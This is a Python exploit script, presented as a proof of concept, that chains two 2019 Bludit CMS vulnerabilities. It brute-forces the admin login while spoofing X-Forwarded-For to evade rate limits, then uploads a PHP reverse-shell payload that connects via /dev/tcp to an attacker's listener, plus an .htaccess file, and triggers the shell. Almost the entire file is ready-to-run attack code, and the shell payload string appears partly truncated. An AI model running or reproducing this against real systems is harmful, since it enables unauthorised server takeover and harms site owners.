#!/usr/bin/env python import requests import re import argparse import string import random # PoC combining CVE-2019-17240 & CVE-2019-16113 # Based on work by @hg8, @christasa, kisho64 # Global session - shared across all functions (like the working script) session = requests.Session() def banner(): return """ _ _____ ___ _ __| |___ /_ ___ __ / _ \ _ __ ___ (_) / _` | |_ \ \ / / '_ \| | | | '_ ` _ \| | | (_| |___) \ V /| | | | |_| | | | | | | | \__,_|____/ \_/ |_| |_|\___/|_| |_| |_|_| This exploit combines CVE-2019-17240 & CVE-2019-16113 to gain remote shell on target. Created by: d3vn0mi """ print(banner()) def get_csrf_token(target): """Get CSRF token from a page""" request = session.get(target) match = re.search(r'tokenCSRF"\s*value="([^"]+)"', request.text) if match: return match.group(1) return None def bruteforce_password(target_url, username, passwords): """ Bruteforce passwords with X-Forwarded-For bypass for rate limiting Returns the correct password or None """ for num, password in enumerate(passwords): try: # Create new session for each attempt (like working script) bf_session = requests.Session() login_page = bf_session.get(target_url) csrf_token = re.search( r'tokenCSRF"\s*value="([^"]+)"', login_page.text ).group(1) headers = { 'X-Forwarded-For': str(num), 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) ' 'AppleWebKit/537.36 (KHTML, like Gecko) ' 'Chrome/77.0.3865.90 Safari/537.36', 'Referer': target_url } data = { 'tokenCSRF': csrf_token, 'username': username, 'password': password } response = bf_session.post( target_url, headers=headers, data=data, allow_redirects=False ) print(f"[*] Trying: {password}") if 'location' in response.headers: if '/admin/dashboard' in response.headers['location']: print(f"[+] Password found: {username}:{password}") return password except Exception: pass return None def login(target_url, username, password): """ Login using the global session (with redirects allowed) This establishes the authenticated session for subsequent requests """ csrf_token = get_csrf_token(target_url) try: # Allow redirects - this is key to establishing the session request = session.post( target_url, data={ 'tokenCSRF': csrf_token, 'username': username, 'password': password } ) if re.search(r"Bludit - Dashboard", request.text): return True else: return False except Exception as e: print(f"[!] Login error: {e}") return False def upload_file(payload, payload_name, upload_url, csrf_url): """Upload a file using the authenticated global session""" csrf_token = get_csrf_token(csrf_url) # Format matching the working script exactly upload_data = { 'images[]': (payload_name, payload), 'uuid': (None, ''), 'tokenCSRF': (None, csrf_token) } try: response = session.post(upload_url, files=upload_data) if response.status_code == 200: print(f"[+] Uploaded: {payload_name}") return True else: print(f"[!] Failed to upload {payload_name}: " f"{response.status_code}") print(f"[!] Response: {response.text[:200]}") return False except Exception as e: print(f"[!] Upload error: {e}") return False def trigger_shell(shell_url): """Trigger the uploaded shell and exit gracefully""" print(f"[*] Triggering shell at: {shell_url}") try: requests.get(shell_url, timeout=10) except requests.exceptions.Timeout: # Timeout is expected - shell connects and doesn't return HTTP response pass except requests.exceptions.ConnectionError: # Connection error might mean shell established pass except Exception: pass print("[+] Shell triggered successfully!") print("[+] Reverse shell should be connected to your listener.") print("[+] Exiting gracefully...") if __name__ == '__main__': parser = argparse.ArgumentParser( description='Bludit RCE PoC (CVE-2019-17240 + CVE-2019-16113)' ) parser.add_argument('url', help='Target URL (e.g., http://target.com)') parser.add_argument('user', help='Admin username') parser.add_argument('listener_ip', help='IP address of the listener') parser.add_argument('--password', '-p', help='Single password to try') parser.add_argument('--password-file', '-P', help='File containing passwords (one per line)') parser.add_argument('--port', type=int, default=8585, help='Port of the listener (default: 8585)') parser.add_argument('--delay', '-d', type=float, default=0.0, help='Delay in seconds between attempts (default: 0)') args = parser.parse_args() if not args.password and not args.password_file: parser.error("Either --password or --password-file must be provided") url = args.url.rstrip('/') username = args.user listener_ip = args.listener_ip listener_port = args.port # URLs login_url = f"{url}/admin/login" upload_url = f"{url}/admin/ajax/upload-images" csrf_url = f"{url}/admin/new-content" # Generate random payload name payload_name = ''.join( random.choice(string.ascii_letters) for _ in range(10) ) + '.php' # Payloads shell_payload = ( f'& /dev/tcp/' f'{listener_ip}/{listener_port} 0>&1\'");' ) htaccess_payload = 'RewriteEngine on\nRewriteRule ^.*$ -' shell_url = f"{url}/bl-content/tmp/{payload_name}" # Get passwords if args.password: passwords = [args.password] print("[*] Using single password") else: try: with open(args.password_file, 'r') as f: passwords = [line.strip() for line in f if line.strip()] except FileNotFoundError: print(f"[!] Password file not found: {args.password_file}") exit(1) print(f"[*] Loaded {len(passwords)} passwords from file") # Step 1: Bruteforce to find password print(f"\n[*] Starting password bruteforce against {login_url}") found_password = bruteforce_password(login_url, username, passwords) if not found_password: print("[!] No valid password found. Exiting.") exit(1) # Step 2: Login with global session (this establishes auth for uploads) print("\n[*] Logging in with found credentials...") if login(login_url, username, found_password): print("[+] Login successful!") else: print("[!] Login failed. Exiting.") exit(1) # Step 3: Upload shell and htaccess print("\n[*] Uploading shell...") upload_file(shell_payload, payload_name, upload_url, csrf_url) upload_file(htaccess_payload, '.htaccess', upload_url, csrf_url) # Step 4: Trigger shell print("\n[*] Executing payload...") trigger_shell(shell_url) # Exit gracefully with success code exit(0)